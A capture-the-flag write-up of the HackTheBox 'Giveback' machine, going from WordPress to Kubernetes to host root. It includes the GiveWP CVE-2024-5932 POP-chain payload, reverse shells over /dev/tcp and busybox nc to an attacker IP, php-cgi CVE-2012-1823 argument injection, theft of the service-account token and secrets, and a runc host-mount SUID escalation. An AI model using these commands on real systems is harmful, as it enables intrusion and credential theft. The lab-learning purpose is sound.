RECON

Port Scan

$ rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A sS -Pn

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_  256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
80/tcp open  http    nginx 1.28.0
|_http-server-header: nginx/1.28.0
|_http-generator: WordPress 6.8.1
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI

WordPress!

Fingerprint

A new-release-version WordPress site is asking for donations, running the GiveWP plugin and backed by a MySQL database:

htb_giveback_1

That's all we need. Time for a quick vulnerability sweep.

WPProbe

Plenty of WordPress scanners out there — I tend to favor wpprobe for its streamlined interface and regularly updated vuln DB.

Bash
wpprobe scan -u http://giveback.htb 

Scan output:

htb_giveback_2

Several juicy vectors emerged. We'll zero in on the unauthenticated paths first.

WEB

After a few recon probes, it's clear: the WordPress GiveWP plugin (v3.14.0) is vulnerable to CVE-2024-5932.

CVE-2024-5932

Overview

CVE-2024-5932 is a critical PHP Object Injection (POI) vulnerability in the GiveWP – Donation Plugin and Fundraising Platform, leading to unauthenticated Remote Code Execution (RCE) or arbitrary file deletion.

  • Affected versions: ≤ 3.14.1
  • Fixed in: 3.14.2
  • Bug class: Unsafe deserialization via attacker-controlled input in the give_title field.

In the vulnerable flow, GiveWP unserializes the give_title value from donor meta. Specifically, in class-give-payment.php:

PHP
switch ( $key ) {
    case 'title':
        $user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
        break;
    ...
}

That .get_meta(..., true) call hits WordPress's maybe_unserialize(), creating a full-blown deserialization sink.

And because the codebase ships with popular third-party classes (like Stripe\StripeObject and TCPDF), crafting a POP chain is not just possible—it's trivial. One path leads to call_user_func('shell_exec', $cmd); another drops files via TCPDF.

PoC

The public POP chain PoC abuses this exact flow:

PHP
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Payload summary:

  • Starts with Stripe\StripeObject, abused as the POP entry.
  • Chains through GiveInsertPaymentData → Give → ValidGenerator.
  • Ends in call_user_func("shell_exec", "touch /tmp/EQSTtest").

Serialized payload:

O:19:"Stripe\StripeObject":1:{s:10:"*_values";a:1:{s:3:"foo";O:62:"Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"*container";O:33:"Give\Vendors\Faker\ValidGenerator":2:{s:12:"*validator";s:10:"shell_exec";s:12:"*generator";O:34:"Give\Onboarding\SettingsRepository":1:{s:11:"*settings";a:1:{s:8:"address1";s:19:"touch /tmp/EQSTtest";}}}}}}}}

RCE Exploit

Clone the EQSTLab repo to fire the exploit:

git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
python -m venv .venv
source ./venv/activate/bin
pip install -r requirements.txt

First, identify the Donation Form URL — where the plugin processes the malicious payload:

htb_giveback_3

Then launch the exploit:

Bash
python CVE-2024-5932-rce.py \
		-u http://giveback.htb/donations/the-things-we-need/ \
		-c "bash -c \"bash -i >& /dev/tcp/$attackerIp/60001 0>&1\""

One reverse shell later:

htb_giveback_4

We captured a reverse shell as the web root user. But obviously we are in a restricted container.

USER

Kubernetes pod

Classic WP-to-K8s pivot. We've breached a Kubernetes pod — likely sandboxed, containerized, and stripped down. Before escalation, we need to orient ourselves inside the cluster.

ServiceAccount Essentials

Each pod in K8s typically operates under a ServiceAccount (SA) — an identity object used to authenticate to the Kubernetes API. Its credentials are usually mounted here:

  • Token/var/run/secrets/kubernetes.io/serviceaccount/token
  • CA Cert/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
  • Namespace/var/run/secrets/kubernetes.io/serviceaccount/namespace

Alternate paths that may contain the same:

  • /run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount

TL;DR: If we find that token, we pivot to the API Server (6443). Otherwise, we go infrastructure hunting.

K8s Enumeration

More on this process: HackTricks – Kubernetes Enumeration

CDK

Time to deploy the CDK — a powerful post-exploitation framework tailored for K8s container breakout.

Deploy

Clone and build:

Bash
git clone https://github.com/cdk-team/CDK
cd CDK
GODEBUG=netdns=go+2,http2client=0 go mod download -x

# amd64
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \
go build -trimpath -ldflags "-s -w" -o cdk ./cmd/cdk

# alternatively, for arm64 
CGO_ENABLED=0 GOOS=linux GOARCH=arm64 \
go build -trimpath -ldflags "-s -w" -o cdk ./cmd/cdk

Upload cdk into the pod using raw TCP:

Bash
# on our attacker host
nc -lvp 12345 < cdk

# on victim container
cd /tmp
cat < /dev/tcp/$attackerIp/12345 > cdk
chmod +x cdk

Ready to scan, evaluate, and pivot:

htb_giveback_5

Scan

Enumerate subnets:

$ ./cdk ifconfig

2025/11/02 07:30:34 [+] run ifconfig, using GetLocalAddresses()
2025/11/02 07:30:34 lo 127.0.0.1/8
2025/11/02 07:30:34 lo ::1/128
2025/11/02 07:30:34 eth0 10.42.1.198/24
2025/11/02 07:30:34 eth0 fe80::5015:beff:fec2:8425/64

Port scanning for eth0 10.42.1.198/24:

$ ./cdk probe 10.42.1.0-255 1-65535 100 500

2025/11/02 07:34:31 scanning 10.42.1.0-255 with user-defined ports, max parallels:100, timeout:500ms
open : 10.42.1.0:22
open : 10.42.1.0:6443
open : 10.42.1.0:10250
open : 10.42.1.0:30686
open : 10.42.1.1:22
open : 10.42.1.1:6443
open : 10.42.1.1:10250
open : 10.42.1.1:30686
open : 10.42.1.184:5000
open : 10.42.1.186:5000
open : 10.42.1.187:5000
open : 10.42.1.190:8080
open : 10.42.1.193:5000
open : 10.42.1.195:5000
open : 10.42.1.198:8080
open : 10.42.1.199:8080
...

Discovered:

  • 6443 → K8s API Server
  • 10250 → Kubelet API (node-local)
  • 30686 → NodePort service
  • 5000 / 8080 → Possible internal registries or web panels
  • 22 → SSH access on cluster nodes

Evaluate the whole Kubernete container:

$ ./cdk evaluate

[  Information Gathering - Services  ]
2025/11/02 07:51:57 sensitive env found:
        KUBERNETES_SERVICE_PORT_HTTPS=443
2025/11/02 07:51:57 sensitive env found:
        KUBERNETES_SERVICE_PORT=443
2025/11/02 07:51:57 sensitive env found:
        KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
2025/11/02 07:51:57 sensitive env found:
        KUBERNETES_PORT_443_TCP_PROTO=tcp
2025/11/02 07:51:57 sensitive env found:
        KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
2025/11/02 07:51:57 sensitive env found:
        KUBERNETES_SERVICE_HOST=10.43.0.1
2025/11/02 07:51:57 sensitive env found:
        KUBERNETES_PORT=tcp://10.43.0.1:443
2025/11/02 07:51:57 sensitive env found:
        KUBERNETES_PORT_443_TCP_PORT=443

[  Information Gathering - Commands and Capabilities  ]
2025/11/02 07:51:57 available commands:
        find,ps,php,apt,dpkg,httpd,mysql,mount,base64,perl
2025/11/02 07:51:57 Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb):
        CapInh: 0000000000000000
        CapPrm: 0000000000000000
        CapEff: 0000000000000000
        CapBnd: 00000000a00425fb
        CapAmb: 0000000000000000
        Cap decode: 0x0000000000000000 =
[*] Maybe you can exploit the Capabilities below:

[  Information Gathering - Mounts  ]
0:356 / / rw,relatime - overlay overlay rw,lowerdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/17075/fs,upperdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/20545/fs,workdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/20545/work
0:361 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
0:362 / /dev rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:363 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666
0:82 / /dev/mqueue rw,nosuid,nodev,noexec,relatime - mqueue mqueue rw
0:155 / /sys ro,nosuid,nodev,noexec,relatime - sysfs sysfs ro
0:29 / /sys/fs/cgroup ro,nosuid,nodev,noexec,relatime - cgroup2 cgroup rw,nsdelegate,memory_recursiveprot
253:0 /var/lib/kubelet/pods/f8718112-53ba-45b9-b561-eb2b7be809d4/volumes/kubernetes.io~empty-dir/empty-dir/tmp-dir /tmp rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
0:334 / /secrets ro,relatime - tmpfs tmpfs rw,size=1251328k,inode64
253:0 /var/lib/rancher/k3s/storage/pvc-16f2d8ae-5e7e-4714-b940-22707f4380d7_default_beta-vino-wp-wordpress/wordpress /bitnami/wordpress rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
253:0 /var/lib/kubelet/pods/f8718112-53ba-45b9-b561-eb2b7be809d4/etc-hosts /etc/hosts rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
253:0 /var/lib/kubelet/pods/f8718112-53ba-45b9-b561-eb2b7be809d4/containers/wordpress/65d1c183 /dev/termination-log rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
253:0 

[...]

[  Information Gathering - Net Namespace  ]
        container net namespace isolated.

[  Information Gathering - Sysctl Variables  ]
2025/11/02 07:51:57 net.ipv4.conf.all.route_localnet = 1
2025/11/02 07:51:57 You may be able to access the localhost service of the current container node or other nodes.

[  Information Gathering - DNS-Based Service Discovery  ]
error when requesting coreDNS: lookup any.any.svc.cluster.local. on 10.43.0.10:53: no such host
error when requesting coreDNS: lookup any.any.any.svc.cluster.local. on 10.43.0.10:53: no such host

[  Discovery - K8s API Server  ]
2025/11/02 07:51:57 checking if api-server allows system:anonymous request.
err found in post request, error response code: 401 Unauthorized.
        api-server forbids anonymous request.
        response:{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}


[  Discovery - K8s Service Account  ]
load K8s service account token error.:
open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory

Key findings:

  • Sensitive Env Vars: KUBERNETES_SERVICE_HOST, KUBERNETES_PORT_443_TCP_ADDR, etc. → cluster is live at 10.43.0.1
  • Mounted Secrets: /secrets exists but lacks token — likely restricted SA
  • Available binaries: php, mysql, perl, find, etc. — escape utilities are present
  • Capabilities: Limited — no obvious CAP_SYS_ADMIN, CAP_SYS_PTRACE, etc.
  • Mounts: Extensive, but mostly ephemeral or isolated; no juicy host paths exposed

API Access?

api-server forbids anonymous request.

And:

open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory

So: no anonymous access, and no SA token → the pod is sandboxed.

ENV

The pod leaks its secrets freely via env:

I have no name!@beta-vino-wp-wordpress-9c558b85d-hmnlk:/$ env

KUBERNETES_SERVICE_PORT_HTTPS=443
WEB_SERVER_HTTP_PORT_NUMBER=8080
KUBERNETES_SERVICE_PORT=443
[email protected]
WORDPRESS_DATABASE_HOST=beta-vino-wp-mariadb
MARIADB_PORT_NUMBER=3306
HOSTNAME=beta-vino-wp-wordpress-9c558b85d-hmnlk
WP_NGINX_SERVICE_PORT_80_TCP=tcp://10.43.4.242:80
LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241
BETA_VINO_WP_WORDPRESS_PORT_80_TCP=tcp://10.43.61.204:80
WORDPRESS_CONF_FILE=/opt/bitnami/wordpress/wp-config.php
WORDPRESS_DATABASE_PASSWORD=sW5sp4spa3u7RLyetrekE4oS
WORDPRESS_PASSWORD=O8F7KR5zGi
WORDPRESS_DEFAULT_DATABASE_HOST=mariadb
BETA_VINO_WP_MARIADB_SERVICE_HOST=10.43.147.82
...

The output spills more than config—it's a vault of credentials and pivot data:

  • DB service & creds
    • WORDPRESS_DATABASE_HOST=beta-vino-wp-mariadb → DNS name for the MariaDB Service.
    • BETA_VINO_WP_MARIADB_SERVICE_HOST=10.43.147.82 & ..._PORT=3306 → ClusterIP:Port for DB.
    • WORDPRESS_DATABASE_NAME=bitnami_wordpress
    • WORDPRESS_DATABASE_USER=bn_wordpress
    • WORDPRESS_DATABASE_PASSWORD=sW5sp4spa3u7RLyetrekE4oSDB password
  • WP app creds
    • WORDPRESS_USERNAME=user
    • WORDPRESS_PASSWORD=O8F7KR5zGisite admin pass
    • WORDPRESS_CONF_FILE=/opt/bitnami/wordpress/wp-config.php (docroot path)
  • Internal service
    • LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241
    • LEGACY_INTRANET_SERVICE_SERVICE_PORT_HTTP=5000
  • K8s API location (no token mounted here)
    • KUBERNETES_SERVICE_HOST=10.43.0.1
    • KUBERNETES_SERVICE_PORT=443 (we saw 401 when trying anonymous)

Kubernetes injects a bunch of Service discovery env vars and the application's own config. We can ride those to creds and pivot—no ServiceAccount token needed.

Database

No need for a full shell. Use mysql -e to dump WordPress user creds directly:

Bash
mysql -h beta-vino-wp-mariadb -u bn_wordpress -p'sW5sp4spa3u7RLyetrekE4oS' bitnami_wordpress -e "SELECT ID,user_login,user_email,user_pass FROM wp_users;"

Result:

ID      user_login      user_email      user_pass
1       user    [email protected]        $P$Bm1D6gJHKylnyyTeT0oYNGKpib//vP.

Try cracking the hash:

$ hashcat --identify '$P$Bm1D6gJHKylnyyTeT0oYNGKpib//vP.'
The following hash-mode match the structure of your input hash:
      # | Name                                                       | Category
  ======+============================================================+======================================
    400 | phpass                                                     | Generic KDF

$ hashcat -m 400 -a 0 hashes.txt ~/wordlists/rockyou.txt
...
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 400 (phpass)
Hash.Target......: $P$Bm1D6gJHKylnyyTeT0oYNGKpib//vP.

Not crackable with rockyou.

Internal CMS

From earlier CDK port scans, port 5000 was open on:

10.42.1.184
10.42.1.186
10.42.1.187
10.42.1.193
10.42.1.195

Port 5000 screams Docker Registry, but could also be Flask, custom API, or some legacy backend. Either way — we want in.

Let's tunnel in. I prefer using ligolo-ng to hijack the pod's outbound connection for full tunnel access.

Upload agent via the raw-TCP trick again:

Bash
# on our attacker host
nc -lvp 12345 < agent

# on victim container
cd /tmp
cat < /dev/tcp/$attackerIp/12345 > agent
chmod +x agent
./agent -connect $attackerIp:11601 -ignore-cert &

Tunnel established:

htb_giveback_6

Now we forward traffic from target's internal IP space straight to our browser.

htb_giveback_7

A golden find: developer notes referencing Windows + IIS running php-cgi.exe and mentions of "legacy scripts retained".

PHP-CGI handler

Legacy CGI Service

Port 5000 on 10.42.1.184 (and others) reveals a legacy CMS interface — and it's oozing danger:

  • /cgi-bin/info – classic CGI diagnostics; usually dumps env vars, server paths, and request info.
  • /cgi-bin/php-cgi – a raw PHP-CGI handler. This is the jackpot: it's typically vulnerable to argument injection via query string (the CVE-2012-1823 class), letting us flip php.ini flags and execute arbitrary PHP from the request body.
htb_giveback_8

The exposed php-cgi endpoint is likely vulnerable to CVE-2012-1823 — an ancient but deadly argument injection flaw. We can weaponize this to flip php.ini flags mid-request and execute arbitrary PHP from the POST body.

CGI 101

CGI is prehistoric web tech — but its danger lives on.

Request flow:

HTTP → [env vars + stdin] → [spawned process] → stdout → HTTP

Here's the breakdown:

  • Request hits /cgi-bin/...
  • Web server spawns a process (php-cgi, perl, bash, etc.)
  • Passes data via:
    • Env vars: QUERY_STRING, REQUEST_METHOD, HTTP_*
    • STDIN: body content
  • Process writes to STDOUT:
    • Headers (Status: 200 OK, Content-Type: ...)
    • Blank line
    • Response body

CGI is raw, isolated, and inherently risky — a code execution delivery system when mishandled.

CVE-2012-1823

The vuln is about PHP-CGI Argument Injection. Back in the day, php-cgi would parse CLI options directly from the query string. That's how attackers passed flags like:

-d allow_url_include=1
-d auto_prepend_file=php://input

This flips PHP settings on-the-fly, causing it to treat the POST body as code. If allowed, this chain triggers RCE via standard HTTP.

This is usually seen in CTF web challenges nowadays. More on the vuln:

GHSA-3qgc-jrrr-25jv (GitHub Advisory)

Exploit Flow

We send a POST request with the following payload:

Bash
busybox nc 10.10.11.17 60002 -e /bin/sh

And craft the request to trigger php-cgi:

Bash
php -r "\$c=stream_context_create([
    'http'=>[
        'method'=>'POST',
        'content'=>'busybox nc 10.10.11.17 60002 -e /bin/sh']
    ]);
echo file_get_contents(
    'http://10.43.2.241:5000/cgi-bin/php-cgi?-d+allow_url_include=1+-d+auto_prepend_file=php://input',
    false, \$c);"
  • POSTs the shell command as PHP body.
  • Flips php.ini flags via query string.
  • Includes the PHP from php://input.
  • Result: Reverse shell fired from inside the target.

Our shell accepts only one-liner bash command:

Bash
php -r "\$c=stream_context_create(['http'=>['method'=>'POST','content'=>'busybox nc 10.10.11.17 60002 -e /bin/sh']]); echo file_get_contents('http://10.42.1.184:5000/cgi-bin/php-cgi?-d+allow_url_include=1+-d+auto_prepend_file=php://input',0,\$c);"

# alternative host: 10.43.2.241

We tested against 10.42.1.184, but the target can be rotated — as long as it exposes the CGI endpoint. Fire the injection, and we gain the expected reverse shell from the 10.42.1.184 host:

htb_giveback_9

And this :5000 CGI pod owns a mounted SA token. Time to loot K8s.

K8s Secret

Now that we've compromised the CGI pod, we can harvest its ServiceAccount (SA) token and interact with the Kubernetes API directly.

Refer to HackTricks – K8s Enumeration for deeper enumeration flow.

From the new CGI pod root shell, look up ServiceAccount bundle:

$ ls -l /var/run/secrets/kubernetes.io/serviceaccount
total 0
lrwxrwxrwx    1 root     root            13 Nov  2 09:50 ca.crt -> ..data/ca.crt
lrwxrwxrwx    1 root     root            16 Nov  2 09:50 namespace -> ..data/namespace
lrwxrwxrwx    1 root     root            12 Nov  2 09:50 token -> ..data/token

Smoke test:

Bash
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)  #default
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
API="https://kubernetes.default.svc"

curl -ks --cacert "$CACERT" -H "Authorization: Bearer $TOKEN" "$API/version"

Bingo:

htb_giveback_10

Save secrets within that namespace into /tmp/secret:

Bash
curl -ks --cacert "$CACERT" -H "Authorization: Bearer $TOKEN" "$API/api/v1/namespaces/$NS/secrets" > /tmp/secret

The secret inventory:

JSON
{
  "kind": "SecretList",
  "apiVersion": "v1",
  "metadata": {
    "resourceVersion": "2863200"
  },
  "items": [
    {
      "metadata": {
        "name": "beta-vino-wp-mariadb",
        "namespace": "default",
        ...
      },
      "data": {
        "mariadb-password": "c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T",
        "mariadb-root-password": "c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw=="
      },
      "type": "Opaque"
    },
    {
      "metadata": {
        "name": "beta-vino-wp-wordpress",
        "namespace": "default",
        ...
      },
      "data": {
        "wordpress-password": "TzhGN0tSNXpHaQ=="
      },
      "type": "Opaque"
    },
    {
      "metadata": {
        "name": "sh.helm.release.v1.beta-vino-wp.v58",
        "namespace": "default",
        ...
      },
      "data": {
        "release": "SDRzSUFBQUFBQUFDLyt6OTYzS2p5Sm9vRE4rS3dyRWpacy9zS2...

Kubernetes secrets is an object that contains sensitive data such as a password, a token or a key. For example, the partial revealed blob defines:

  • beta-vino-wp-mariadb (Opaque) Holds DB creds for MariaDB.
    • mariadb-password: base64 of the DB user password we already saw in env (sW5sp4spa3u7RLyetrekE4oS)
    • mariadb-root-password: base64 of the DB root password
  • beta-vino-wp-wordpress (Opaque) Holds the initial WordPress app password.
    • wordpress-password: base64 string → decodes to the login we already saw in env (O8F7KR5zGi)
  • sh.helm.release.v1.beta-vino-wp.v58 (Opaque) is Helm's release state secret. The release blob is a gzip + base64 serialized release object (not a human password). It's usually not directly credential material.

So we care about "password" string here, grep it:

$ grep -i 'pass' /tmp/secret
                "f:mariadb-password": {},
                "f:mariadb-root-password": {}
        "mariadb-password": "c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T",
        "mariadb-root-password": "c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw=="
                "f:wordpress-password": {}
        "wordpress-password": "TzhGN0tSNXpHaQ=="
                "f:MASTERPASS": {}
        "MASTERPASS": "TktzSTFUMkw2Qk9jMEFpRk1JbG1aV2VHeXBqSUNwUnQ="

Two fresh targets to decode: mariadb-root-password and MASTERPASS.

$ echo -n "c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw==" | base64 -d
sW5sp4syetre32828383kE4oS

This allows us to login root as the MariaDB user, but this path shows no juicy results yet. So the found password is useless for the moment.

Next:

$ echo -n 'TktzSTFUMkw2Qk9jMEFpRk1JbG1aV2VHeXBqSUNwUnQ=' | base64 -d
NKsI1T2L6BOc0AiFMIlmZWeGypjICpRt

Trace ownership of this MASTERPASS secret:

$ jq -r '.items[] | select(.data.MASTERPASS) | .metadata.name' /tmp/secret
user-secret-babywyrm

Belongs to babywyrm — the box creator.

Try it via SSH...

htb_giveback_11

User flag captured.

ROOT

Sudo

Check sudo:

babywyrm@giveback:~$ sudo -l
Matching Defaults entries for babywyrm on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, timestamp_timeout=0, timestamp_timeout=20

User babywyrm may run the following commands on localhost:
    (ALL) NOPASSWD: !ALL
    (ALL) /opt/debug

Only one path open: /opt/debug — and it's our golden key.

babywyrm@giveback:~$ ls -l /opt/debug
-rwx------ 1 root root 1037 Nov 22  2024 /opt/debug

No read access. It's a classic black-box game.

When executed, the binary requests administrative password:

htb_giveback_12

Tried the unsued MariaDB root password (sW5sp4syetre32828383kE4oS) — no dice.

Runc

Ironically, the non-root DB user password wrapped by base64 encoder (so the user have to remember his plain-text password and its base64 encoded cipher for daily use?) — c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T — works.

babywyrm@giveback:~$ sudo /opt/debug
Validating sudo...
Please enter the administrative password:

Both passwords verified. Executing the command...
NAME:
   runc - Open Container Initiative runtime

runc is a command line client for running applications packaged according to
the Open Container Initiative (OCI) format and is a compliant implementation of the
Open Container Initiative specification.

runc integrates well with existing process supervisors to provide a production
container runtime environment for applications. It can be used with your
existing process monitoring tools and the container will be spawned as a
direct child of the process supervisor.

Containers are configured using bundles. A bundle for a container is a directory
that includes a specification file named "config.json" and a root filesystem.
The root filesystem contains the contents of the container.

To start a new instance of a container:

    # runc run [ -b bundle ] <container-id>

Where "<container-id>" is your name for the instance of the container that you
are starting. The name you provide for the container instance must be unique on
your host. Providing the bundle directory using "-b" is optional. The default
value for "bundle" is the current directory.

USAGE:
   runc.amd64.debug [global options] command [command options] [arguments...]

VERSION:
   1.1.11
commit: v1.1.11-0-g4bccb38c
spec: 1.0.2-dev
go: go1.20.12
libseccomp: 2.5.4

COMMANDS:
   checkpoint  checkpoint a running container
   create      create a container
   delete      delete any resources held by the container often used with detached container
   events      display container events such as OOM notifications, cpu, memory, and IO usage statistics
   exec        execute new process inside the container
   kill        kill sends the specified signal (default: SIGTERM) to the container's init process
   list        lists containers started by runc with the given root
   pause       pause suspends all processes inside the container
   ps          ps displays the processes running inside a container
   restore     restore a container from a previous checkpoint
   resume      resumes all processes that have been previously paused
   run         create and run a container
   spec        create a new specification file
   start       executes the user defined process in a created container
   state       output the state of a container
   update      update container resource constraints
   features    show the enabled features
   help, h     Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --debug             enable debug logging
   --log value         set the log file to write runc logs to (default is '/dev/stderr')
   --log-format value  set the log format ('text' (default), or 'json') (default: "text")
   --root value        root directory for storage of container state (this should be located in tmpfs) (default: "/run/runc")
   --criu value        path to the criu binary used for checkpoint and restore (default: "criu")
   --systemd-cgroup    enable systemd cgroup support, expects cgroupsPath to be of form "slice:prefix:name" for e.g. "system.slice:runc:434234"
   --rootless value    ignore cgroup permission errors ('true', 'false', or 'auto') (default: "auto")
   --help, -h          show help
   --version, -v       print the version

/opt/debug is literally runc.amd64.debug 1.1.11 running as root via sudo. That's a gift: we can ask runc to start a “container” whose rootfs is the host / and with no namespaces — i.e., a root shell on the host. No kernel exploits, just OCI judo.

  • sudo /opt/debug is runc (OCI runtime) running as root. That means any process it spawns runs with UID 0 and whatever mounts we define.
  • We used runc to create a mount namespace where we bind-mounted the host filesystem at /host and also mapped host runtime paths (/bin, /lib*, /usr, /etc, /dev, /proc).
  • This defeats the dynamic linker trap: when we invoke host binaries, their ELF interpreter (e.g., /lib64/ld-linux…) and shared libs resolve at the same absolute paths inside our namespace.

So we can simply use one command to root:

Bash
mkdir -p /tmp/a/rootfs && cd /tmp/a && sudo /opt/debug spec && \
jq --arg t /usr/local/bin/bp '.root.path="/tmp/a/rootfs"
  | .hostname=""
  | .process.terminal=false
  | .process.args=["/bin/sh","-c","cp /host/bin/bash \($t) && chown root:root \($t) && chmod 4755 \($t)"]
  | .process.noNewPrivileges=false
  | .linux.namespaces=[{"type":"mount"}]
  | .linux.seccomp=null
  | .linux.maskedPaths=[]
  | .linux.readonlyPaths=[]
  | .mounts=[
      {"destination":"/host","type":"bind","source":"/","options":["rbind","rw"]},
      {"destination":"/bin","type":"bind","source":"/bin","options":["rbind","rw"]},
      {"destination":"/lib","type":"bind","source":"/lib","options":["rbind","rw"]},
      {"destination":"/lib64","type":"bind","source":"/lib64","options":["rbind","rw"]},
      {"destination":"/usr","type":"bind","source":"/usr","options":["rbind","rw"]},
      {"destination":"/etc","type":"bind","source":"/etc","options":["rbind","rw"]},
      {"destination":"/dev","type":"bind","source":"/dev","options":["rbind","rw"]},
      {"destination":"/proc","type":"proc","source":"proc","options":["nosuid","noexec","nodev"]}
    ]' config.json > cfg && mv cfg config.json && \
sudo /opt/debug run -b /tmp/a rootbox
  1. spec → generated base config.json.
  2. jq → edited it to:
    • root.path="/tmp/a/rootfs" (a harmless scratch rootfs)
    • Added bind mounts:
      • /hosthost / (rbind,rw) ← the key: this exposes the real host FS
      • /bin, /lib, /lib64, /usr, /etc, /dev, /proc → so binaries/loader/FD tables work
    • process.terminal=false → avoid /dev/console errors (no TTY)
    • namespaces=[{"type":"mount"}] → only a private mnt NS (makes mounts legal)
    • maskedPaths=[], readonlyPaths=[], seccomp=null → stop runc from trying “protections” that require private mounts
    • args=["/bin/sh","-c", ..."] copies host bash, sets owner root, sets SUID bit — on the host path we chose.
  3. run → executes the above as root, so the file on host becomes SUID-root.

Fire:

htb_giveback_13

Rooted.